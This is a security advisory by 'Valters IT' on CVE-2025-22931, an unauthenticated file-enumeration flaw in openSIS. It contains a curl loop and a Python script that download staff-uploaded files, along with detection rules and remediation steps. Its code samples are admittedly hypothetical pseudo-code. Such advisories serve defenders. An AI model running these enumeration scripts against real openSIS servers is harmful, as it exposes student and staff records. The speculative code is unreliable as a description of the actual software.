CVE-2025-22931

Executive Summary

CVE-2025-22931 is an Insecure Direct Object Reference (IDOR) vulnerability affecting OS4ED openSIS versions 7.0 through 9.1. The flaw resides in the /assets/stafffiles component, allowing unauthenticated attackers to enumerate and access files uploaded by staff members. This vulnerability exposes sensitive data such as student records, personnel files, and internal documents without requiring any authentication. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is HIGH (7.5). No official patch has been released, and public proof-of-concept (PoC) code is available, increasing the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full disclosure of sensitive files.
• Integrity (I): None (N) – No file modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: HIGH (7.5) – Unauthenticated access to sensitive staff-uploaded files.

Deep Dive & Mechanics

The vulnerability exists because the /assets/stafffiles directory serves files without proper access control checks. The application uses sequential or predictable file naming conventions (e.g., staff_upload_1234.pdf). An attacker can brute-force or enumerate file IDs to access documents intended only for authenticated staff members.

Root Cause: The application fails to validate whether the requesting user has the right to view a specific file. The web server directly serves files from the stafffiles directory without an intermediary script that checks permissions.

Attack Flow:

1. Identify the base URL: https://target.com/assets/stafffiles/
2. Enumerate file names (e.g., staff_upload_1.pdf, staff_upload_2.pdf).
3. Access files directly via HTTP GET requests.
4. Download sensitive documents (e.g., student transcripts, HR forms).

Vulnerable vs. Patched Code

Vulnerable Code (openSIS v7.0-v9.1): The application likely uses a direct file path in the URL without any access control middleware. Example (pseudo-code):

// vulnerable.php
$file = $_GET['file'];
$path = "/var/www/html/assets/stafffiles/" . $file;
if (file_exists($path)) {
    header('Content-Type: application/octet-stream');
    readfile($path);
}

Patched Code (Hypothetical): A secure implementation would validate the user session and check ownership before serving the file:

// patched.php
session_start();
if (!isset($_SESSION['user_id'])) {
    die("Unauthorized");
}
$file_id = intval($_GET['id']);
$stmt = $db->prepare("SELECT filepath FROM staff_uploads WHERE id = ? AND user_id = ?");
$stmt->bind_param("ii", $file_id, $_SESSION['user_id']);
$stmt->execute();
$result = $stmt->get_result();
if ($row = $result->fetch_assoc()) {
    $path = $row['filepath'];
    if (file_exists($path)) {
        header('Content-Type: application/octet-stream');
        readfile($path);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: openSIS v9.1 running on Ubuntu 22.04 with Apache2.
• Attacker: Kali Linux with curl and Burp Suite.

Exploitation Steps:

1. Enumerate file IDs using a simple loop:

for i in $(seq 1 1000); do
    curl -s -o /dev/null -w "%{http_code}" "http://target.com/assets/stafffiles/staff_upload_$i.pdf"
done

2. Download accessible files:

curl -O "http://target.com/assets/stafffiles/staff_upload_42.pdf"

Automated Exploit (Python):

import requests
import sys

def exploit(target, start, end):
    for i in range(start, end+1):
        url = f"{target}/assets/stafffiles/staff_upload_{i}.pdf"
        r = requests.get(url)
        if r.status_code == 200:
            with open(f"file_{i}.pdf", "wb") as f:
                f.write(r.content)
            print(f"[+] Downloaded file_{i}.pdf")

if __name__ == "__main__":
    exploit(sys.argv[1], 1, 500)

Blue Team (Defense)

Detection & Prevention:

• Monitor access logs for sequential requests to /assets/stafffiles/.
• Implement a Web Application Firewall (WAF) rule to block direct access to the directory.
• Use a reverse proxy (e.g., Nginx) to restrict access:

location /assets/stafffiles/ {
    internal;
    # Only allow access via internal redirects
}

• Enable file access logging and alert on 404/403 spikes.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /assets/stafffiles/staff_upload_*.pdf from a single IP in rapid succession.
  • User-Agent strings indicating automated tools (e.g., python-requests/2.28.1).
• File IOCs:
  • Unexpected PDF files in /assets/stafffiles/ directory.
  • Files with sequential naming patterns (e.g., staff_upload_1.pdf).
• Log IOCs:
  • Apache access logs showing 200 responses for /assets/stafffiles/ without prior authentication.
  • High volume of 404 errors for non-existent file IDs.

Detection Engineering

YARA Rule

rule CVE_2025_22931_IDOR_Access {
    meta:
        description = "Detects attempts to exploit CVE-2025-22931 via sequential file access"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22931"
    strings:
        $pattern1 = "/assets/stafffiles/staff_upload_" ascii
        $pattern2 = ".pdf" ascii
    condition:
        #pattern1 > 5 and #pattern2 > 5
}

Sigma Rule

title: CVE-2025-22931 IDOR Exploitation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects sequential HTTP requests to /assets/stafffiles/ indicating IDOR exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem|startswith: '/assets/stafffiles/staff_upload_'
        cs-uri-stem|endswith: '.pdf'
        sc-status: 200
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate staff bulk downloads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22931 IDOR Exploitation Attempt"; flow:to_server; content:"/assets/stafffiles/staff_upload_"; http_uri; content:".pdf"; http_uri; fast_pattern; threshold: type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict directory access: Configure the web server to deny direct access to /assets/stafffiles/ and serve files only through an authenticated script.
2. Implement access control: Add session validation and ownership checks before file delivery.
3. Rename files: Use non-predictable file names (e.g., UUIDs) and store them outside the web root.

Long-term Fix:

• Upgrade to a patched version of openSIS once available.
• Conduct a security audit of all file-serving endpoints.
• Implement a Content Security Policy (CSP) to restrict file access.

Workaround:

• Use .htaccess to block direct access:

<Directory "/var/www/html/assets/stafffiles">
    Require all denied
</Directory>

• Then create a proxy script to serve files after authentication.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert